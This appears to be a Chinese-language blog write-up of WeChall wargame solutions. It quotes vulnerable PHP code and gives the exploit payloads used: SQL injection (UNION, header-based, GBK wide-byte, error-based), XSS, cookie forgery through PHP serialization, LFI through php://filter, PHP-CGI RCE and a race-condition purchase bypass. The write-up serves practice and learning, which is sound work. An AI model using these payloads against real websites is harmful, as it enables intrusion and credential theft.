学习
Are You Serial?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <?php
final class SERIAL_Solution
{
public $username = '';
public $password = '';
public $userlevel = 0;
}
$a = new SERIAL_Solution();
$a->username='admin';
$a->password='testtest';
$a->userlevel=100;
echo serialize($a);
?>
|
O:15:"SERIAL_Solution":3:{s:8:"username";s:5:"admin";s:8:"password";s:8:"testtest";s:9:"userlevel";i:100;}
改到cookie,然后把login选项去掉
htmlspecialchars
echo "<a href='http://".htmlspecialchars(Common::getPost('input'),ENT_QUOTES)."'>Exploit Me</a>";
PHP 0816
1
2
3
4
5
6
7
8
9
10
11
12
| foreach ($_GET as $key => $value)
{
if ($key === 'src') {
php0816SetSourceFile($value);
}
elseif ($key === 'mode') {
php0816execute($value);
}
elseif ($key === 'hl') {
php0816addHighlights($value);
}
}
|
code.php?hl[0]=nice&hl[1]=text&mode=hl&src=solution.php
把src放到后面就不会先执行php0816SetSourceFile,就绕开了文件白名单
Crappyshare
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| function upload_please_by_url($url)
{
if (1 === preg_match('#^[a-z]{3,5}://#', $url)) # Is URL?
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
if (false === ($file_data = curl_exec($ch)))
{
htmlDisplayError('cURL failed.');
}
else
{
// Thanks
upload_please_thx($file_data);
}
}
else
{
htmlDisplayError('Your URL looks errorneous.');
}
}
|
对url没有过滤,所以可以用file://协议来用curl来读取文件
file://solution.php
PHP 0815
$query = "SELECT 1 FROM `table` WHERE `id`=$show";
in_array($show, $whitelist)
id = ‘1 or 1=1#‘在php里还是识别为1,垃圾php弱类型
所以强制类型转换,intval(),但是长度太长,(int),提示说两个字符,所以运用弱类型,+0 or /1
No Escape
1
2
3
4
5
6
7
8
9
| $query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";
...
if ($count == 111) {
noesc_solved();
noesc_resetVotes();
break;
}
|
vote_for=bill
%20=%20111%23`
Yourself PHP
1
| echo sprintf('<form action="%s" method="post">', $_SERVER['PHP_SELF']).PHP_EOL;
|
说明可以构造url使得标签闭合,然后插入<script>
的标签完成xss
index.php/"><script>alert(1)</script>
Stop us
1
| 'ignore_user_abort' => false
|
默认值为 FALSE 。 如果设置为 TRUE ,在客户端断开连接后,脚本不会被中止
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| if (noother_timeout($sid) === false)
{
nooth_message('Checking your balance ...');
nooth_message(sprintf('Your balance is $%.02f ...', noothtable::getMoney($sid)));
if (noothtable::getMoney($sid) >= $price)
{
nooth_message('Balance ok!');
# TODO: Do checks more checks!
nooth_message('Checking availability of your domain ...');
nooth_message('Domain is available ...');
# +1 domain
if (false === noothtable::purchaseDomain($sid))
{
die('Hacking attempt!');
}
nooth_message('Purchasing ...');
nooth_message('Domain purchased.');
# -$10.00
nooth_message('Reducing your balance ...');
noothtable::reduceMoney($sid, $price);
nooth_message('Thank you for your purchase!');
# Done!
nooth_message('Purchased!');
# Something weird? Oo
if (noothtable::getFundings($sid) < noothtable::getDomains($sid))
{
GWF_Module::loadModuleDB('Forum', true, true);
# Get here, hacker!
$chall->onChallengeSolved(GWF_Session::getUserID());
}
nooth_message('Thank you for using noother-domains.com!');
}
|
可以看到增加域名在扣钱之前,所以在扣钱前把脚本关闭了就不会扣钱了,所以先增加一次钱,在买域名,在扣钱之前退出,就看到域名比增加钱的次数多,然后在完整的买域名操作,就done了
php 0819
PHP里有个叫heredoc的东西
1
2
3
4
| $str = <<<s
1337
s;
echo $str //1337
|
就是这么神奇,这在laravel里也有
?eval=<<<s%0a1337%0as%0a;
The Guestbook
题目要求我们获得admin的密码
在代码第30行可以看到
1
| "gbu_password VARCHAR(255) CHARACTER SET ASCII COLLATE ascii_bin ) "; # Guestbook password <-- You need the password for username Admin
|
在往下看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| function gbook_getIP()
{
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif (isset($_SERVER['HTTP_VIA'])) {
return $_SERVER['HTTP_VIA'];
}
else {
return $_SERVER['REMOTE_ADDR'];
}
}
...
# insert the entry
$playerid = gbook_playerID(true); // Current Player
$userid = 0; # guestbook has no login yet.
$time = time();
$ip = gbook_getIP();
$message = GDO::escape($message);
$query = "INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')";
|
发现对于IP并没有过滤,可以构造X-Forworded-For来造成注入
payload11', (select gbu_password from gbook_user where gbu_name='admin')) #
Addslashes
1
2
3
4
5
6
| $username = addslashes($username);
$password = md5($password);
if (false === ($db = gdo_db_instance('localhost', ADDSLASH_USERNAME, ADDSLASH_PASSWORD, ADDSLASH_DATABASE, GWF_DB_TYPE, 'GBK'))) {
return htmlDisplayError('Can`t connect to database.');
}
|
看到GBK就知道是宽字节注入了
payload username=%ef%27%20and%201=2%20union%20select%20username%20from%20users%20where%20username=0x41646d696e%20--%20a&password=111&login=%E6%B3%A8%E5%86%8C
Order By Query
in_array可以用1 sql
来绕过,然后试了半天失败了,最后试了下报错注入,惊了。
首先是1 and extractvalue(0,concat(0x5c,(select password from users where username=0x41646d696e)))
发现前面少了一位,查资料发现是concat的锅,去掉concat再来一遍,把两个结果拼接下就done了
Warchall: Live RCE
看了下是php cgi,查了一下,百度首页就有资料
http://blog.csdn.net/god_7z1/article/details/8191328
先用-s,读出源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| <?php
require '../config.php';
$username = isset($_GET['username']) ? (string)$_GET['username'] : 'Guest';
?>
<!DOCTYPE html>
<html>
<head>
<title>Live RCE [Warchall]</title>
<style type="text/css">
* {
margin: 0;
padding: 0;
}
body {
background: #000;
color: #0f0;
padding: 24px;
}
p {
padding: 12px 0;
}
</style>
</head>
<body>
<h1>Live RCE!</h1>
<p>Hello <?php echo $username; ?>!</p>
<p>Here are your $_SERVER vars:</p>
<pre>
<?php print_r($_SERVER); ?>
</pre>
<p>Kind Regards<br/>The Warchall staff!</p>
<!-- We hope you like our signatures :) -->
</body>
</html>
|
然后用本地文件包含的poc读取/ect/passwd和/home/level/20_live_rce/config.php 并没读出啥
远程poc发现可以把http改成php://input,就可以用php干任何事情了,php是最好的语言!!!
Training: MySQL I
查找用户名的md5进行比较,也没什么过滤,所以很容易就绕过了
1' and 1=2 union select 1,'admin','c4ca4238a0b923820dcc509a6f75849'#
Training: MySQL II
1' and 1=2 union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
这回要加个password=1
Table Names
用1' or 1=1#
可以登录,所以用order by 来猜字段,没想到失败了,那就用union select来猜1' and 1=2 union select 1,2,3#
,所以是3个字段,1,3显示
所以用database()获得库名
(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)
来获得表名
Table Names II
过滤了常见关键字,所以这题我去看wp了Orz
这里有个语句show processlist
可以看到数据库的信息,info字段就是我们的语句,所以
1' and 1=2 union select info,2,3 from information_schema.processlist#
就把前面语句给爆出来了
Limited Access & Limited Access II
用burp把POST全改为LOL就过了2333333
Training: WWW-Robots
http://www.wechall.net/robots.txt
Warchall: Live LFI
既然是LFI,就看下有没有?xxx=xxx
这样的链接,发现在切换EN/DN那里有,上php伪协议
?lang=php://filter/read=convert.base64-encode/resource=solution.php
Warchall: Live RFI
为什么这题还能用伪协议,心情简单
把base64里重复的字符去除,就可以了
PHP My Admin
这题疯狂扫描题目目录,然后放弃了,去寻找wp,发现竟然是扫网站根目录,心态崩了
放wp,顺便膜大佬
https://www.xctf.org.cn/library/details/0336229e1fbbfec8f7ad3851bd00af41153e1a08/
Guesswork
猜密码题,试了下wechall123,告诉我十分接近了,然后上脚本+字典,wechall+xxx,最后爆出来是wechallbot
Preg Evasion
badmethodevilfunction+a*n 他会把前面当成.*尽可能向后匹配,但是如果过长就会匹配不到,但n不能太大了,会引起正则匹配错误,大概在10w字节就可以
由于真的不知道怎么做,所以发邮件给wupco师傅询问Orz
最后得知要用超大字符串去使函数失效,于是我用了badmethodevilfunction+a*100w